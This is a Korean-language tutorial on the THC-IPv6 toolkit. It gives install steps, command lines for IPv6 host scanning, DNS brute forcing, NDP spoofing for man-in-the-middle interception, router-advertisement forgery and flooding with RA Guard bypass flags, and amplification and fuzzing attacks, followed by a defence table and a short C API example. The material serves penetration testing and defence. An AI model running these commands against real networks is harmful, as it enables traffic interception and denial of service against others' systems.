1. THC-IPv6 개요
THC-IPv6(The Hacker’s Choice IPv6 Attack Toolkit)는 2005년 van Hauser에 의해 처음 공개된 이후 현재까지 활발히 관리되고 있는 IPv6 전용 보안 분석 프레임워크입니다. 이 도구 모음은 IPv6 프로토콜 스택의 근간이 되는 이웃 발견 프로토콜(NDP), 라우터 광고(RA), 프로토콜 퍼징 등 30개 이상의 독립적인 모듈을 포함하고 있어, 기업 네트워크의 IPv6 전환 과정에서 발생할 수 있는 보안 취약점을 식별하는 데 필수적인 도구로 평가받습니다.
2. 설치 및 시스템 환경 구성
THC-IPv6는 하위 수준의 소켓 조작과 링크 계층 제어가 필요하므로 리눅스 기반 환경과 루트(root) 권한이 필수적입니다.
2.1 데비안 계열(Kali, Ubuntu 등) 설치
패키지 관리자를 통해 간편하게 설치하거나, 최신 기능을 위해 소스 코드를 직접 빌드할 수 있습니다.
# 패키지 매니저 이용
sudo apt-get update && sudo apt-get install thc-ipv6
# 최신 소스 코드 빌드 및 설치
sudo apt-get install build-essential libpcap-dev libssl-dev libnetfilter-queue-dev
git clone https://github.com/vanhauser-thc/thc-ipv6.git
cd thc-ipv6
make all && sudo make install
패키지 관리자로 설치할 경우 명령어 접두사가 atk6-로 시작할 수 있으나(예: atk6-alive6), 소스 빌드 시에는 alive6와 같은 원본 명칭을 사용합니다.
3. 핵심 도구 분류 및 주요 기능
3.1 네트워크 스캔 및 자산 식별
IPv6 환경에서 활성화된 호스트를 탐색하고 네트워크 구성을 파악하는 도구들입니다.
alive6: 호스트 활성화 점검
다양한 프로토콜 기법을 사용하여 로컬 또는 원격 네트워크의 호스트 생존 여부를 확인합니다.
# 인터페이스 enp0s3에서 활성 호스트 탐색
sudo alive6 enp0s3
# 특정 네트워크 접두사(/64) 내 일반적인 주소 패턴 스캔
sudo alive6 -C enp0s3 2001:db8:abcd::/64
# 방어 기제 우회를 위한 복합 프로토콜 탐지 모드
sudo alive6 -F enp0s3
dnsdict6: DNS 사전 대입 공격
병렬 처리 기반의 DNS 무차별 대입 도구로, 서브도메인과 연결된 IPv6 주소를 빠르게 식별합니다.
# 기본 사전을 활용한 도메인 분석
sudo dnsdict6 target-domain.io
# 32개 스레드를 사용하여 대규모 사전 검사 및 IPv4 결과 포함
sudo dnsdict6 -l -t 32 -4 target-domain.io
3.2 NDP(Neighbor Discovery Protocol) 기반 조작
IPv6에서 ARP를 대신하는 NDP의 취약점을 이용하여 주소 변조 및 가로채기를 수행합니다.
parasite6: 중간자 공격(MITM) 수행
이웃 광고(Neighbor Advertisement)를 위조하여 대상 호스트의 통신 경로를 공격자에게 유도합니다.
# 대상 호스트의 통신을 가로채기 위해 NDP 캐시 오염
sudo parasite6 enp0s3 fe80::target_address
ndpexhaust26: NDP 리소스 고갈 공격
가짜 ICMPv6 오류 메시지를 대량으로 송신하여 장비의 인접 캐시 테이블을 가득 채움으로써 정상적인 통신을 방해합니다.
# 임의의 소스 주소로 대상 네트워크에 플러딩 수행
sudo ndpexhaust26 -R enp0s3 2001:db8:1234::/64
3.3 라우터 광고(RA) 및 경로 제어 공격
가짜 라우터 정보를 유포하여 네트워크 전체의 트래픽 흐름을 장악하거나 서비스 거부를 유발합니다.
fake_router26: 위조 라우터 설정
공격자 장비를 게이트웨이 또는 DNS 서버로 인식하도록 속이는 고급 기능을 제공합니다.
# 가짜 접두사와 DNS 정보를 포함한 라우터 정보 배포
sudo fake_router26 -A 2001:db8:cafe::/64 -D 2001:db8::10 -l 150 enp0s3
flood_router26: RA 플러딩
지속적으로 라우터 광고를 전송하여 클라이언트의 라우팅 테이블 부하를 유도하고 네트워크 성능을 저하시킵니다.
# 보안 메커니즘(RA Guard) 우회 옵션을 포함한 플러딩
sudo flood_router26 -HFD -sSG enp0s3
3.4 서비스 거부(DoS) 및 프로토콜 퍼징
IPv6 구현체의 취약점을 찾아내거나 시스템을 중단시키는 테스트 도구입니다.
rsmurf6: 원격 Smurf 증폭 공격
특정 구현체 오류를 이용해 멀티캐스트 주소로 패킷을 보내 트래픽을 증폭시킵니다.
# 로컬 링크 전체에 영향을 미칠 수 있으므로 주의하여 사용
sudo rsmurf6 enp0s3 fe80::target_node
fuzz_ip6: 스택 퍼징 테스트
비정상적인 확장 헤더 조합을 생성하여 대상 시스템의 IPv6 스택 안정성을 검증합니다.
# 홉 단위, 분할, 목적지 옵션 헤더를 조합한 퍼징
sudo fuzz_ip6 -H -D -S enp0s3 fe80::target_node
4. 방어 체계 및 탐지 방안
THC-IPv6 도구들은 분석의 편의성을 위해 고유한 패킷 시그니처를 남기는 경우가 많으므로 침입 탐지 시스템(IDS)에서 다음과 같은 전략으로 대응할 수 있습니다.
| 방어 기술 | 작동 원리 |
|---|---|
| RA Guard | L2 스위치 수준에서 신뢰되지 않는 포트의 라우터 광고 패킷을 차단합니다. |
| NDP Inspection | 유효하지 않은 MAC-IP 바인딩을 가진 NDP 메시지를 필터링합니다. |
| SEND (Secure NDP) | 암호화된 서명을 통해 NDP 메시지의 무결성을 보장하지만 구현 복잡도가 높습니다. |
| 임계치 기반 탐지 | 비정상적으로 높은 빈도의 RA 또는 ICMPv6 Redirect 메시지를 실시간 모니터링합니다. |
5. 프로그래밍 방식의 패킷 생성 확장
THC-IPv6는 라이브러리(thc-ipv6-lib.h) 형태의 API를 제공하여 사용자 정의 공격 시나리오를 코드로 구현할 수 있게 지원합니다.
#include "thc-ipv6-lib.h"
void custom_attack_sequence(char *interface, unsigned char *target_ip) {
thc_ipv6_hdr *raw_packet;
int packet_size;
unsigned char *source_ip = thc_get_own_ipv6(interface);
// 기본 IPv6 패킷 구조 생성
raw_packet = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &packet_size,
source_ip, target_ip, 64, 0, 0, 0, 0);
// 사용자 정의 데이터와 함께 ICMPv6 Echo Request 추가
unsigned char dummy_payload[16] = "TestPayload";
thc_add_icmp6(raw_packet, &packet_size, ICMP6_ECHO_REQUEST, 0, 0, dummy_payload, 16, 0);
// 패킷 전송 및 메모리 해제
thc_generate_and_send_pkt(interface, NULL, NULL, raw_packet, &packet_size);
thc_destroy_packet(raw_packet);
}
이 API를 사용하면 복잡한 IPv6 헤더 체인을 단 몇 줄의 코드로 구성할 수 있으며, 기존 도구에서 지원하지 않는 특수한 프로토콜 조합에 대한 취약점 테스트가 가능합니다.